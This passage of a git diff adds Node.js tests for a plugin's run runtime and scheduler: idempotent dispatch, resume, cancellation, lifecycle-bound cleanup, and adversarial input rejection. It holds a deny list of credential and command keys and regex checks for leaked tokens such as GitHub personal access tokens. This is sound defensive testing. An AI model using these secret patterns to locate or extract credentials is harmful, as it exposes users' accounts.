assert.equal(inspected.created, false); + const replayB = await runtimeB.submitRun(request); + assert.equal(replayB.created, false); + assert.equal(replayB.status, 'idempotent'); + assert.equal(harness.scheduler.calls.submit, 1); + + const runtimeC = bindLegacyRuntime(harness); + const replayC = await runtimeC.submitRun(request); + assert.equal(replayC.created, false); + assert.equal(replayC.status, 'idempotent'); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(harness.scheduler.calls.delegate.length, 1); + assert.equal(replayC.side_effects.replay, false); + assert.equal(replayC.side_effects.fallback, false); + assert.equal(replayC.side_effects.duplicate_dispatch, false); + + const conflict = makeSubmitRequest({ + submission: makeSubmission({ attempt: 2 }), + }); + await assert.rejects(() => bindLegacyRuntime(harness).submitRun(conflict), (error) => { + assert.equal(error.code, 'runtime_identity_conflict'); + return true; + }); + assert.equal(harness.scheduler.calls.submit, 1); + const afterConflict = await harness.runStore.getByRunId(request.run_id); + assert.equal(afterConflict.canonical_digest, stored.canonical_digest); + assert.equal(afterConflict.request_idempotency_key, stored.request_idempotency_key); + }); +}); + +test('resume against a real P25 journal accepts terminal only after injected lifecycle finality', async () => { + await withLegacyRuntime(async ({ runtime, scheduler, lifecycle }) => { + const request = makeSubmitRequest(); + await runtime.submitRun(request); + scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'completed'); + const resumed = await runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: TASK_ID, event_cursor: '2' }], + }); + assert.equal(resumed.lanes[0].status, 'completed'); + assert.equal(resumed.lanes[0].cleanup.final, true); + assert.equal(resumed.journal.terminal, true); + assert.equal(resumed.journal.run_outcome, 'completed'); + assert.equal(lifecycle.cleanupCalls.length, 1); + assert.equal(lifecycle.settleCalls[0].runtime.task_id, TASK_ID); + }); +}); + +test('restart resume of a never-dispatched P25 lane stays unresolved and nonterminal', async () => { + await withLegacyRuntime(async (harness) => { + const scheduler = createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = bindLegacyRuntime({ ...harness, scheduler, lifecycle }); + const request = makeSubmitRequest(); + const submitted = await runtime.submitRun(request); + assert.equal(submitted.lanes[0].status, 'unresolved'); + assert.equal(submitted.journal.terminal, false); + + const restarted = bindLegacyRuntime({ ...harness, scheduler, lifecycle }); + const resumed = await restarted.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assert.equal(resumed.journal.terminal, false); + assert.equal(resumed.journal.run_outcome, null); + assert.equal(lifecycle.cleanupCalls.length, 0); + + const cancelled = await restarted.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + assert.equal(lifecycle.cleanupCalls.length, 0); + assert.equal(scheduler.calls.submit, 1); + }); +}); + +test('R24A resolution_ready plus R25B aggregate journal is the dispatch path', async () => { + const prepared = await makeResolvedAnchor({ runId: 'p33-aggregate-run' }); + const storeRoot = await makeStoreRoot('r1-p33-agg-store-'); + const journalRoot = await makePrivateRoot('r1-p33-agg-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-agg-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const attentionBatch = await openAttentionRoot(attentionRoot); + const scheduler = createMemoryScheduler(); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = createRunRuntime({ + runStore, + runJournal: wrapJournal({ + journalRoot, store: runStore, anchor: prepared.anchor, + }), + aggregateAnchor: prepared.anchor, + attentionBatch, + scheduler, + artifactBridge: createMemoryArtifactBridge(), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); + const request = makeSubmitRequest({ + runId: 'p33-aggregate-run', + assignments: [makeAssignment({ assignmentId: ASSIGNMENT_ID })], + submission: makeSubmission({ runId: 'p33-aggregate-run' }), + }); + const receipt = await runtime.submitRun(request); + assert.equal(receipt.journal.mode, 'aggregate'); + assert.equal(receipt.status, 'dispatched'); + const coordination = await prepared.anchor.getCoordination('p33-aggregate-run'); + assert.equal(coordination.phase, 'resolution_ready'); + assert.equal(scheduler.calls.submit, 1); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +}); + +test('P27 ask-once selection must reach resolution_ready before runtime dispatch', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const storeRoot = await makeStoreRoot('r1-p33-p27-store-'); + const journalRoot = await makePrivateRoot('r1-p33-p27-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-p27-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const scheduler = createMemoryScheduler(); + const runtime = createRunRuntime({ + runStore, + runJournal: wrapJournal({ journalRoot, store: runStore, anchor }), + aggregateAnchor: anchor, + attentionBatch: await openAttentionRoot(attentionRoot), + scheduler, + artifactBridge: createMemoryArtifactBridge(), + settleLocalTaskLifecycle: createLifecycleFns().settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: createLifecycleFns().cleanupLocalTaskLifecycle, + clock: createClock(), + }); + const awaiting = makeSubmitRequest({ + runId: P27_RUN_ID, + assignments: [makeAssignment({ assignmentId: 'lane-0', taskId: 'task-lane-0' })], + submission: makeSubmission({ runId: P27_RUN_ID, assignmentId: 'lane-0' }), + }); + await assert.rejects(() => runtime.submitRun(awaiting), (error) => { + assert.equal(error.code, 'runtime_selection_unresolved'); + return true; + }); + assert.equal(scheduler.calls.submit, 0); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, completeAnswers(derived.request)), + }); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'resolution_ready'); + + const dispatched = await runtime.submitRun(awaiting); + assert.equal(dispatched.status, 'dispatched'); + assert.equal(dispatched.journal.mode, 'aggregate'); + assert.equal(scheduler.calls.submit, 1); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } + }, { runId: P27_RUN_ID }); +}); + +test('P34 latch through the runtime uses the live journal revision as the source boundary', async () => { + await withLegacyRuntime(async ({ runtime, scheduler }) => { + const request = makeSubmitRequest(); + await runtime.submitRun(request); + const item = grokItem({ + assignmentId: ASSIGNMENT_ID, + taskId: TASK_ID, + }); + const resumed = await runtime.resumeRun({ + run_id: request.run_id, + attention_items: [item], + }); + assert.equal(resumed.attention.status, 'open'); + assert.equal(resumed.attention.wake, false); + assert.equal(typeof resumed.attention.batch_id, 'string'); + assert.equal(scheduler.calls.submit, 1); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs new file mode 100644 index 0000000..923d98a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs @@ -0,0 +1,519 @@ +// P33 run-runtime focused coverage: exact identity, one-submission +// idempotency, restart/cursor/attention evidence, cancellation, and +// proof-bound cleanup. Lifecycle settlement is consumed; worker/boundary +// lock recovery is never owned. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_RUNTIME_CHECKS, + RUN_RUNTIME_DEPENDENCY_KEYS, + RUN_RUNTIME_METHODS, + RUN_RUNTIME_RECEIPT_SCHEMA_ID, + RUN_RUNTIME_SCHEMA_ID, + RUN_RUNTIME_VERSION, + createRunRuntime, + describeRunRuntimeV1, +} from '../mcp/v3/run-runtime.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_SECRET, + TASK_ID, + createLifecycleFns, + createMemoryScheduler, + createFreshRuntime, + createRuntime, + makeAssignment, + makeSubmitRequest, + makeVerifier, +} from './fixtures/r1-run-runtime-fixtures.mjs'; + +const MODULE_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/run-runtime.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertDeniedSideEffects(receipt) { + for (const claim of RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.wake, false); +} + +function assertNoSecret(value) { + const text = typeof value === 'string' + ? value + : JSON.stringify(value, ['name', 'code', 'path', 'message', 'schema', 'status', 'lanes', 'cleanup']); + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /github_pat/u); +} + +test('describeRunRuntimeV1 is deterministic, frozen, and quotes composed surfaces', () => { + const first = describeRunRuntimeV1(); + const second = describeRunRuntimeV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_RUNTIME_SCHEMA_ID); + assert.equal(first.version, RUN_RUNTIME_VERSION); + assert.deepEqual([...first.methods], [...RUN_RUNTIME_METHODS]); + assert.deepEqual([...first.dependencies], [...RUN_RUNTIME_DEPENDENCY_KEYS]); + assert.deepEqual([...first.checks], [...RUN_RUNTIME_CHECKS]); + assert.equal(first.composed_surfaces.p24.includes('runStore'), true); + assert.equal(first.composed_surfaces.p27.includes('resolution_ready'), true); + assert.equal(first.composed_surfaces.lifecycle.includes('never owns'), true); + assert.equal(first.composed_surfaces.gate_a, 'not claimed'); + assert.equal(first.remote_mutated, false); + assertFrozenTree(first); +}); + +test('createRunRuntime exports exactly submitRun, resumeRun, cancelRun, inspectRun', () => { + const { runtime } = createRuntime(); + assert.deepEqual(Object.keys(runtime).sort(), [...RUN_RUNTIME_METHODS].sort()); + assert.ok(Object.isFrozen(runtime)); +}); + +test('submitRun persists exact identity, dispatches once, and replays idempotently', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + const first = await harness.runtime.submitRun(request); + assert.equal(first.schema, RUN_RUNTIME_RECEIPT_SCHEMA_ID); + assert.equal(first.status, 'dispatched'); + assert.equal(first.created, true); + assert.equal(first.run_id, request.run_id); + assert.equal(first.assignment_count, 1); + assert.equal(first.lanes[0].assignment_id, ASSIGNMENT_ID); + assert.equal(first.lanes[0].task_id, TASK_ID); + assert.equal(first.journal.run_opened, true); + assert.equal(first.journal.mode, 'legacy'); + assert.equal(first.side_effects.task_dispatched, true); + assertDeniedSideEffects(first); + assertFrozenTree(first); + assert.equal(harness.scheduler.calls.submit, 1); + assert.deepEqual(harness.scheduler.calls.delegate, [ASSIGNMENT_ID]); + + const replay = await harness.runtime.submitRun(request); + assert.equal(replay.status, 'idempotent'); + assert.equal(replay.created, false); + assert.equal(replay.side_effects.task_dispatched, false); + assert.equal(harness.scheduler.calls.submit, 1); + assert.deepEqual(harness.scheduler.calls.delegate, [ASSIGNMENT_ID]); + assert.equal(replay.journal.run_opened, true); + assertDeniedSideEffects(replay); +}); + +test('a conflicting body for the same run id fails closed without a second dispatch', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const conflict = { + ...request, + assignments: [makeAssignment({ taskId: 'task-other' })], + }; + const error = await errorOf(() => harness.runtime.submitRun(conflict)); + assert.equal(error.code, 'runtime_identity_conflict'); + assert.equal(harness.scheduler.calls.submit, 1); + assertNoSecret(error); +}); + +test('A submits, fresh B inspects then identical submits, fresh C submit-first: one dispatch', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + const first = await harnessA.runtime.submitRun(request); + assert.equal(first.created, true); + assert.equal(first.status, 'dispatched'); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const harnessB = createFreshRuntime(harnessA); + const inspected = await harnessB.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.created, false); + assert.equal(inspected.status, 'inspected'); + const replayB = await harnessB.runtime.submitRun(request); + assert.equal(replayB.status, 'idempotent'); + assert.equal(replayB.created, false); + assert.equal(replayB.side_effects.task_dispatched, false); + assert.equal(replayB.side_effects.replay, false); + assert.equal(replayB.side_effects.fallback, false); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const harnessC = createFreshRuntime(harnessA); + const replayC = await harnessC.runtime.submitRun(request); + assert.equal(replayC.status, 'idempotent'); + assert.equal(replayC.created, false); + assert.equal(replayC.side_effects.task_dispatched, false); + assert.equal(harnessA.scheduler.calls.submit, 1); + assert.deepEqual(harnessA.scheduler.calls.delegate, [ASSIGNMENT_ID]); +}); + +test('inspect-first, status-first, remember-first, and submit-first resubmits stay created=false', async () => { + const harnessA = createRuntime(); + const request = makeSubmitRequest(); + await harnessA.runtime.submitRun(request); + assert.equal(harnessA.scheduler.calls.submit, 1); + + const orders = [ + ['submit-first', async (runtime) => runtime.submitRun(request)], + ['inspect-first', async (runtime) => { + await runtime.inspectRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ['status-first', async (runtime) => { + await runtime.resumeRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ['remember-first', async (runtime) => { + await runtime.inspectRun({ run_id: request.run_id }); + await runtime.resumeRun({ run_id: request.run_id }); + return runtime.submitRun(request); + }], + ]; + for (const [order, act] of orders) { + const fresh = createFreshRuntime(harnessA); + const receipt = await act(fresh.runtime); + assert.equal(receipt.created, false, order); + assert.equal(receipt.status, 'idempotent', order); + assert.equal(receipt.side_effects.task_dispatched, false, order); + assert.equal(receipt.side_effects.duplicate_dispatch, false, order); + assert.equal(receipt.side_effects.replay, false, order); + assert.equal(receipt.side_effects.fallback, false, order); + assert.equal(harnessA.scheduler.calls.submit, 1, order); + } +}); + +test('R24A/P27 awaiting_selection fails closed before scheduler dispatch', async () => { + const harness = createRuntime(); + harness.aggregateAnchor.phaseByRun.set(makeSubmitRequest().run_id, 'awaiting_selection'); + const error = await errorOf(() => harness.runtime.submitRun(makeSubmitRequest())); + assert.equal(error.code, 'runtime_selection_unresolved'); + assert.equal(harness.scheduler.calls.submit, 0); + assert.equal(harness.runStore._byId.size, 0); +}); + +test('resolution_ready uses the aggregate journal path', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + harness.aggregateAnchor.phaseByRun.set(request.run_id, 'resolution_ready'); + const receipt = await harness.runtime.submitRun(request); + assert.equal(receipt.journal.mode, 'aggregate'); + assert.equal(receipt.status, 'dispatched'); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('resumeRun records cursor evidence and accepts child terminal only after lifecycle finality', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: TASK_ID, event_cursor: '4' }], + }); + assert.equal(resumed.status, 'inspected'); + assert.equal(resumed.lanes[0].status, 'completed'); + assert.equal(resumed.lanes[0].cleanup.final, true); + assert.equal(resumed.lanes[0].cleanup.status, 'normal'); + assert.equal(resumed.lanes[0].cursor.event_cursor, '4'); + assert.equal(resumed.journal.terminal, true); + assert.equal(resumed.journal.run_outcome, 'completed'); + assert.equal(harness.lifecycle.cleanupCalls.length, 1); + assert.equal(harness.lifecycle.settleCalls[0].root, null); + assert.equal(harness.lifecycle.settleCalls[0].task.id, TASK_ID); + const handle = harness.runJournal._handles.get(request.run_id); + const kinds = handle.events.map((event) => event.kind); + assert.ok(kinds.includes('child_terminal')); + assert.ok(kinds.includes('child_progress')); + assert.ok(kinds.includes('run_terminal')); + assertDeniedSideEffects(resumed); +}); + +test('non-final lifecycle suppresses child terminal and projects lifecycle_pending', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ + final: false, + cleanupStatus: 'pending', + reason: 'boundary_visibility_unknown', + }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.status, 'lifecycle_pending'); + assert.equal(resumed.lanes[0].status, 'lifecycle_pending'); + assert.equal(resumed.lanes[0].cleanup.final, false); + assert.equal(resumed.lanes[0].cleanup.reason, 'boundary_visibility_unknown'); + const handle = harness.runJournal._handles.get(request.run_id); + assert.equal(handle.events.some((event) => event.kind === 'child_terminal'), false); + assert.equal(resumed.complete_candidate_blocked, true); +}); + +test('resume latches P34 attention and cancels only unsupported lanes', async () => { + const writer = makeAssignment(); + const cloud = makeAssignment({ + assignmentId: 'cloud-lane', + taskId: 'task-cloud', + provider: 'cursor-cloud', + startingRef: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + writeScope: ['docs/**'], + }); + const harness = createRuntime(); + const request = makeSubmitRequest({ assignments: [writer, cloud] }); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ + run_id: request.run_id, + attention_items: [{ + assignment_id: 'cloud-lane', + task_id: 'task-cloud', + provider: 'cursor-cloud', + required: true, + session_id: 'sess-cloud', + question_id: 'q-cloud', + event_cursor: '0', + prompt: 'Choose', + options: ['a', 'b'], + reply_capability: 'unsupported', + }], + }); + assert.equal(resumed.attention.status, 'open'); + assert.equal(resumed.attention.wake, false); + assert.equal(resumed.attention.complete_candidate_blocked, true); + assert.deepEqual(harness.attentionBatch.calls.cancelled, ['cloud-lane']); + assert.equal(harness.scheduler.calls.cancel, 1); + const cloudLane = resumed.lanes.find((lane) => lane.assignment_id === 'cloud-lane'); + const writerLane = resumed.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID); + assert.equal(cloudLane.status, 'cancelled'); + assert.equal(writerLane.status, 'dispatched'); +}); + +test('cancelRun cancels only named lanes, settles lifecycle, and proof-binds cleanup', async () => { + const writer = makeAssignment(); + const reviewer = makeVerifier(); + const harness = createRuntime(); + const request = makeSubmitRequest({ assignments: [writer, reviewer] }); + await harness.runtime.submitRun(request); + await harness.artifactBridge.captureAssignmentArtifacts({ + run_id: request.run_id, + assignment_id: ASSIGNMENT_ID, + relative_path: `runs/${request.run_id}/${ASSIGNMENT_ID}/note.txt`, + }); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + }); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID).status, + 'cancelled'); + assert.equal(cancelled.lanes.find((lane) => lane.assignment_id === 'review-lane').status, + 'dispatched'); + assert.equal(cancelled.cleanup.proof_bound, true); + assert.equal(cancelled.cleanup.cleaned, true); + assert.equal(cancelled.cleanup.removed, 1); + assert.equal(harness.lifecycle.cleanupCalls.length, 1); + assert.equal(harness.artifactBridge.calls.cleanup[0].proof.run_id, request.run_id); + assertDeniedSideEffects(cancelled); +}); + +test('confirmed dispatched cancellation settles journal cancelled', async () => { + const harness = createRuntime({ + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.lanes[0].status, 'cancelled'); + assert.equal(cancelled.journal.terminal, true); + assert.equal(cancelled.journal.run_outcome, 'cancelled'); + const handle = harness.runJournal._handles.get(request.run_id); + const kinds = handle.events.map((event) => event.kind); + assert.ok(kinds.includes('child_started')); + assert.ok(kinds.includes('child_terminal')); + assert.ok(kinds.includes('run_terminal')); + assertDeniedSideEffects(cancelled); +}); + +test('dispatched terminal success, failure, timeout, and transport-loss keep their journal mapping', async () => { + const cases = [ + { status: 'completed', terminal: true, outcome: 'completed', blocked: false }, + { status: 'failed', terminal: true, outcome: 'failed', blocked: true }, + { status: 'timeout', terminal: true, outcome: 'failed', blocked: false }, + { status: 'transport_lost', terminal: false, outcome: null, blocked: true }, + ]; + for (const expected of cases) { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, expected.status]]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, expected.status, expected.status); + assert.equal(resumed.journal.terminal, expected.terminal, expected.status); + assert.equal(resumed.journal.run_outcome, expected.outcome, expected.status); + assert.equal(resumed.complete_candidate_blocked, expected.blocked, expected.status); + const handle = harness.runJournal._handles.get(request.run_id); + assert.equal(handle.events.some((event) => event.kind === 'run_terminal'), + expected.terminal, expected.status); + if (expected.terminal) { + const terminal = handle.events.find((event) => event.kind === 'child_terminal'); + assert.equal(terminal.data.outcome, expected.outcome, expected.status); + } else { + assert.equal(handle.events.some((event) => event.kind === 'child_terminal'), false, + expected.status); + } + } +}); + +test('cleanup without lifecycle finality is refused and does not remove artifacts', async () => { + const harness = createRuntime({ + lifecycle: createLifecycleFns({ final: false, cleanupStatus: 'pending' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + await harness.artifactBridge.captureAssignmentArtifacts({ + run_id: request.run_id, + assignment_id: ASSIGNMENT_ID, + relative_path: `runs/${request.run_id}/${ASSIGNMENT_ID}/note.txt`, + }); + const error = await errorOf(() => harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + })); + assert.equal(error.code, 'runtime_cleanup_unproven'); + assert.equal(harness.artifactBridge.calls.cleanup.length, 0); +}); + +test('inspectRun projects journal cursor, attention, artifacts, and lifecycle overlay', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: false, reason: 'worker_exit_timeout' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const inspected = await harness.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.status, 'lifecycle_pending'); + assert.equal(inspected.lanes[0].status, 'lifecycle_pending'); + assert.equal(inspected.cursor.cursor, 'cursor:2'); + assert.equal(inspected.lanes[0].artifacts.schema, + 'codex-co-engineer.run-artifact-bridge-projection.v1'); + assert.equal(harness.lifecycle.cleanupCalls.length, 0); + assertDeniedSideEffects(inspected); +}); + +test('unaffected required-lane failure does not redispatch and blocks a complete candidate', async () => { + const writer = makeAssignment(); + const other = makeAssignment({ + assignmentId: 'docs-writer', + taskId: 'task-docs', + writeScope: ['docs/**'], + }); + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set(['docs-writer']), + }), + }); + const receipt = await harness.runtime.submitRun(makeSubmitRequest({ + assignments: [writer, other], + })); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID).status, + 'dispatched'); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === 'docs-writer').status, + 'unresolved'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('createRunRuntime rejects missing or extra injected seams', () => { + const harness = createRuntime(); + const deps = { + runStore: harness.runStore, + runJournal: harness.runJournal, + aggregateAnchor: harness.aggregateAnchor, + attentionBatch: harness.attentionBatch, + scheduler: harness.scheduler, + artifactBridge: harness.artifactBridge, + settleLocalTaskLifecycle: harness.lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: harness.lifecycle.cleanupLocalTaskLifecycle, + clock: harness.clock, + }; + assert.throws(() => createRunRuntime({ ...deps, extra: () => {} }), (error) => { + assert.equal(error.code, 'unknown_key'); + return true; + }); + const { extra: _ignored, ...rest } = { ...deps, extra: 1 }; + delete rest.clock; + assert.throws(() => createRunRuntime(rest), (error) => { + assert.equal(error.code, 'missing_key'); + return true; + }); +}); + +test('the runtime module does not import worker, boundary, supervisor, server, or GitHub paths', () => { + const imports = MODULE_SOURCE.split('\n') + .filter((line) => line.startsWith('import ')) + .join('\n'); + assert.doesNotMatch(imports, /acp-worker\.mjs/u); + assert.doesNotMatch(imports, /process-boundary\.mjs/u); + assert.doesNotMatch(imports, /supervisor\.mjs/u); + assert.doesNotMatch(imports, /server\.mjs/u); + assert.doesNotMatch(imports, /run-scheduler\.mjs/u); + assert.doesNotMatch(imports, /run-artifact-bridge\.mjs/u); + assert.doesNotMatch(imports, /task-store\.mjs/u); + assert.doesNotMatch(imports, /child_process/u); + assert.doesNotMatch(MODULE_SOURCE, /github\.com/u); + assert.doesNotMatch(MODULE_SOURCE, /CHANGELOG/u); + assert.doesNotMatch(MODULE_SOURCE, /future-work/u); + assert.doesNotMatch(MODULE_SOURCE, /00'\.repeat\(32\)/u); +}); + +test('lifecycle secret fields are stripped from receipts', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: true, leakSecret: true }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assertNoSecret(resumed); + assert.equal(Object.hasOwn(resumed.lanes[0].cleanup, 'secret'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs new file mode 100644 index 0000000..df410a9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs @@ -0,0 +1,308 @@ +// P33 RunSchedulerV1 adversarial coverage: hostile containers, forbidden +// replay/fallback/merge/direct keys, identity drift, unconfirmed cancel, +// content-free failures, and injected stub isolation. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunScheduler } from '../mcp/v3/run-scheduler.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + BASE_SHA, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + TASK_A, + countingProxy, + createScopedStubs, + trapTotal, + twoWriterRequest, + writerAssignment, +} from './fixtures/r1-run-scheduler-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + const blob = `${error.message}\n${error.path ?? ''}\n${error.code}`; + assert.doesNotMatch(blob, /sk-live/u); + assert.doesNotMatch(blob, /ATTACKER-SECRET/u); + assert.doesNotMatch(blob, /github_pat/u); + assert.doesNotMatch(blob, /\/tmp\//u); +} + +test('proxies, symbols, accessors, and own undefined fail closed without traps', async () => { + const harness = createScopedStubs(); + const request = twoWriterRequest(); + const { proxy, counts } = countingProxy(request); + const proxied = await errorOf(() => harness.scheduler.submitAssignments(proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const symbolic = twoWriterRequest(); + Object.defineProperty(symbolic, Symbol('leak'), { value: HOSTILE_SECRET, enumerable: true }); + const symbolError = await errorOf(() => harness.scheduler.submitAssignments(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); + + const accessor = twoWriterRequest(); + Object.defineProperty(accessor, 'run_id', { + get() { throw new Error(HOSTILE_SECRET); }, + enumerable: true, + }); + const accessorError = await errorOf(() => harness.scheduler.submitAssignments(accessor)); + assert.ok(['accessor_property_denied', 'proxy_denied', 'invalid_object'].includes(accessorError.code)); + assertContentFree(accessorError); + + const undef = twoWriterRequest(); + undef.extra = undefined; + Object.defineProperty(undef, 'replay', { value: undefined, enumerable: true }); + const undefError = await errorOf(() => harness.scheduler.submitAssignments(undef)); + assert.ok(['own_undefined_denied', 'replay_or_fallback_denied', 'unknown_key'].includes(undefError.code)); + assert.equal(harness.delegateCalls.length, 0); +}); + +test('forbidden replay, fallback, merge, direct, and credential keys fail closed', async () => { + const cases = [ + ['fallback', 'replay_or_fallback_denied'], + ['replay', 'replay_or_fallback_denied'], + ['retry', 'replay_or_fallback_denied'], + ['depends_on', 'dependency_not_allowed'], + ['workspace_mode', 'direct_mode_denied'], + ['merge', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['push', 'merge_authority_denied'], + ['argv', 'executable_content_denied'], + ['command', 'executable_content_denied'], + ['token', 'credential_content_denied'], + ['credentials', 'credential_content_denied'], + ]; + for (const [key, code] of cases) { + const harness 